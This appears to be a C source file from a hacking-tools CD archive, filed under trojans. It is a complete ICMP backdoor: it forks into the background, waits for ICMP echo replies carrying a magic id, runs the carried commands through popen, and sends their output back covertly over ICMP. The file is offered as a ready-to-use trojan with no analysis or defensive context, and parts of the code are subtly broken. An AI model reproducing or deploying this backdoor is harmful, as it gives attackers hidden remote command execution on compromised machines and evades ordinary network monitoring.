home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / trojans / icmp / icmp_pipe.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-08-13  |  3.3 KB  |  154 lines

  1. /* ICMP shell */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <unistd.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/in.h>
  10. #include <netinet/ip_icmp.h>
  11.  
  12. #define ERROR -1
  13.  
  14. #define RID 31337
  15. #define LID 12345
  16.  
  17. u_short cksum(u_short *buf, int nwords);
  18.  
  19. void    start_pipe(char *buf, int len);
  20. void    send_connect(unsigned long to, unsigned int id,char *data);
  21.  
  22. void main()
  23. {
  24.   int  lsock, i;
  25.   char buf[512];
  26.  
  27.   struct iphdr *ip     = (struct iphdr *)buf;
  28.   struct icmphdr *icmp = (struct icmphdr *)(buf+sizeof(struct iphdr));
  29.  
  30.   if (geteuid() != 0) printf("Needs to be run as root\n");
  31.      exit(ERROR);
  32.  
  33.   if ((lsock = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
  34.     perror("socket");
  35.     exit(ERROR);
  36.   }
  37.  
  38.   close(0), close(1), close(2);
  39.  
  40.   if(fork()) exit(0);
  41.  
  42.   while(1) {
  43.     if ((i = read(lsock, buf, 512)) == ERROR) {
  44.     perror("read");
  45.     close(lsock);
  46.     exit(ERROR);
  47.     }
  48.  
  49.     if (ip->protocol == 1 && icmp->type == 0 && \
  50.         ntohs(icmp->un.echo.id) == RID)
  51.       start_pipe(buf,i);
  52.   }
  53. }
  54.  
  55. void start_pipe(char *buf,int len)
  56. {
  57.   FILE *haha;  
  58.   int lsock, i;
  59.  
  60.   char *p;
  61.   char databuf[512];
  62.  
  63.   struct sockaddr_in sa;
  64.   struct iphdr   *ip   = (struct iphdr *)buf;
  65.   struct icmphdr *icmp = (struct icmphdr *)(buf+sizeof(struct iphdr));
  66.  
  67.   if ((lsock = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
  68.     perror("socket");
  69.     exit(ERROR);
  70.   }
  71.  
  72.   icmp->un.echo.id   = ntohs(LID);
  73.   sa.sin_family      = AF_INET;
  74.   sa.sin_addr.s_addr = ip->saddr;
  75.   sendto(lsock, icmp, len - sizeof(struct iphdr), 0, (struct sockaddr *)&sa, 
  76.          sizeof(sa));
  77.   
  78.   while(1) {
  79.     if ((i = recv(lsock, buf, 512, 0)) == ERROR) {
  80.     perror("recv");
  81.     exit(ERROR);
  82.     }
  83.  
  84.     if (ip->protocol == 1 && icmp->type == 0 && \
  85.         ntohs(icmp->un.echo.id) == RID) {
  86.  
  87.       p = (buf+sizeof(struct iphdr)+sizeof(struct icmphdr));
  88.       memcpy(databuf, p, i - (sizeof(struct iphdr)+sizeof(struct icmphdr))+1);
  89.  
  90.       if (strcasecmp(databuf, "exit") == 0) return;
  91.       if ((haha = popen(databuf, "r")) == NULL)
  92.          send_connect(ip->saddr, LID, "Unknown command.\n");
  93.       else {
  94.         i = 0;
  95.         while(fgets(databuf, 512, haha) != NULL) {
  96.           i++;
  97.           send_connect(ip->saddr,LID,databuf);
  98.         }
  99.  
  100.         if(!i)
  101.           send_connect(ip->saddr,LID,"Unknown command.\n");
  102.  
  103.         pclose(haha);
  104.       }      
  105.     }
  106.  
  107.     fflush(stdout), fflush(stdin);
  108.   }
  109. }
  110.  
  111. void send_connect(unsigned long to, unsigned int id,char *data)
  112. {
  113.   int i, sock;
  114.   char buf[512];
  115.   struct sockaddr_in sa;
  116.   char *bla = (buf+sizeof(struct icmphdr));
  117.   struct icmphdr *icmp = (struct icmphdr *)buf;
  118.   
  119.   if ((sock = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
  120.     perror("socket");
  121.     exit(ERROR);
  122.   }
  123.  
  124.   bzero(buf, 512);
  125.  
  126.   strncpy(bla, data, sizeof(bla));
  127.  
  128.   icmp->type         = 0;
  129.   icmp->un.echo.id   = htons(id);
  130.   icmp->checksum     = cksum((u_short *)icmp, (9+strlen(data)) >> 1);
  131.   sa.sin_family      = AF_INET;
  132.   sa.sin_addr.s_addr = to;
  133.  
  134.   if ((i = sendto(sock, buf, (9+strlen(data)), 0, (struct sockaddr *)&sa, 
  135.        sizeof(sa))) == ERROR) {
  136.     perror("sendto");
  137.     close(sock);
  138.     exit(ERROR);
  139.   }
  140.  
  141.   close(sock);  
  142. }
  143.  
  144. u_short cksum(u_short *buf, int nwords) {
  145.         unsigned long sum;
  146.  
  147.         for ( sum = 0; nwords > 0; nwords -- )
  148.                 sum += *buf++;
  149.         sum = ( sum >> 16) + ( sum & 0xffff );
  150.         sum += ( sum >> 16 );
  151.         return ~sum ;
  152. }
  153.  
  154.